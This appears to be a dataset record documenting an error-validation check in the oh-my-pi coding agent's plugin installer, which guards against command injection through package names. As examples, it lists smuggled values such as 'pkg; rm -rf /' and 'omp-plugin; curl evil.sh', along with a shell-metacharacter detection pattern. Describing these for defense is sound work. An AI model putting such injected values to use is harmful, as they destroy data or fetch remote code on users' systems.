{"record":{"id":"a23e1d1a29cee312","repo":"can1357/oh-my-pi","slug":"invalid-characters-in-package-name-name","errorCode":null,"errorMessage":"Invalid characters in package name: ${name}","messagePattern":"Invalid characters in package name: (.+?)","errorType":"validation","errorClass":"Error","httpStatus":null,"severity":"error","filePath":"packages/coding-agent/src/extensibility/plugins/installer.ts","lineNumber":21,"sourceCode":"import { getAgentDir, getProjectDir, isEnoent } from \"@oh-my-pi/pi-utils\";\nimport { extractPackageName } from \"./parser\";\nimport type { InstalledPlugin } from \"./types\";\n\nconst PLUGINS_DIR = path.join(getAgentDir(), \"plugins\");\n\n// Valid npm package name pattern (scoped and unscoped)\nconst VALID_PACKAGE_NAME = /^(@[a-z0-9-~][a-z0-9-._~]*\\/)?[a-z0-9-~][a-z0-9-._~]*(@[a-z0-9-._^~>=<]+)?$/i;\n\n/**\n * Validate package name to prevent command injection\n */\nfunction validatePackageName(name: string): void {\n\tif (!VALID_PACKAGE_NAME.test(name)) {\n\t\tthrow new Error(`Invalid package name: ${name}`);\n\t}\n\t// Extra safety: no shell metacharacters\n\tif (/[;&|`$(){}[\\]<>\\\\]/.test(name)) {\n\t\tthrow new Error(`Invalid characters in package name: ${name}`);\n\t}\n}\n\n/**\n * Ensure the plugins directory exists\n */\nasync function ensurePluginsDir(): Promise<void> {\n\tawait fs.mkdir(PLUGINS_DIR, { recursive: true });\n\tawait fs.mkdir(path.join(PLUGINS_DIR, \"node_modules\"), { recursive: true });\n}\n\nexport async function installPlugin(packageName: string): Promise<InstalledPlugin> {\n\t// Validate package name to prevent command injection\n\tvalidatePackageName(packageName);\n\n\t// Ensure plugins directory exists\n\tawait ensurePluginsDir();\n","sourceCodeStart":3,"sourceCodeEnd":39,"githubUrl":"https://github.com/can1357/oh-my-pi/blob/969062200754ea02cfac922e5ebb8c608c079e15/packages/coding-agent/src/extensibility/plugins/installer.ts#L3-L39","documentation":"A second defense layer in validatePackageName: even if the name passes the general pattern, names containing shell metacharacters (; & | ` $ ( ) { } [ ] < > \\) are rejected with 'Invalid characters in package name: <name>' to prevent command injection into spawned install commands.","triggerScenarios":"installPlugin/uninstallPlugin called with a name containing any of ;&|`$(){}[]<>\\ — e.g. 'pkg; rm -rf /', 'pkg$(cmd)', or a Windows-style path fragment 'pkg\\sub'.","commonSituations":"User-supplied names pasted from untrusted input; attempts (malicious or accidental) to smuggle shell syntax; config files with escaped or quoted names that keep the backslash.","solutions":["Remove all shell metacharacters from the package name.","Sanitize/trim user input before passing to installPlugin/uninstallPlugin.","Treat this throw as potential injection attempt: log it, don't retry with mutated input."],"exampleFix":"// before\nconst name = userInput.trim(); // \"omp-plugin; curl evil.sh\"\nawait installPlugin(name)\n// after\nif (!/[;&|`$(){}[\\]<>\\\\]/.test(name)) await installPlugin(name)","handlingStrategy":"validation","validationCode":"const FORBIDDEN = /[;&|`$(){}[\\]<>\\\\]/;\nif (FORBIDDEN.test(name)) {\n  alertUser(`Plugin name contains forbidden characters: ${name}`);\n  return;\n}\nawait installPlugin(name);","typeGuard":"function isShellSafeName(name: string): boolean {\n  return !/[;&|`$(){}[\\]<>\\\\]/.test(name);\n}","tryCatchPattern":"try {\n  await installPlugin(name);\n} catch (err) {\n  if (err instanceof Error && err.message.startsWith(\"Invalid characters in package name:\")) {\n    logger.warn(\"Rejected potentially malicious plugin name\", { name });\n  } else throw err;\n}","preventionTips":["Never interpolate raw user input into package names","Escape/strip shell metacharacters at every input boundary","Log rejections — repeated hits may indicate an injection attempt"],"tags":["security","validation","plugins","command-injection"],"backgroundTag":"invalid-package-name","analyzedSha":"969062200754ea02cfac922e5ebb8c608c079e15","analyzedAt":"2026-08-31T10:29:35.737Z","schemaVersion":2},"datasetVersion":"2026-08-31T14:17:45.589Z"}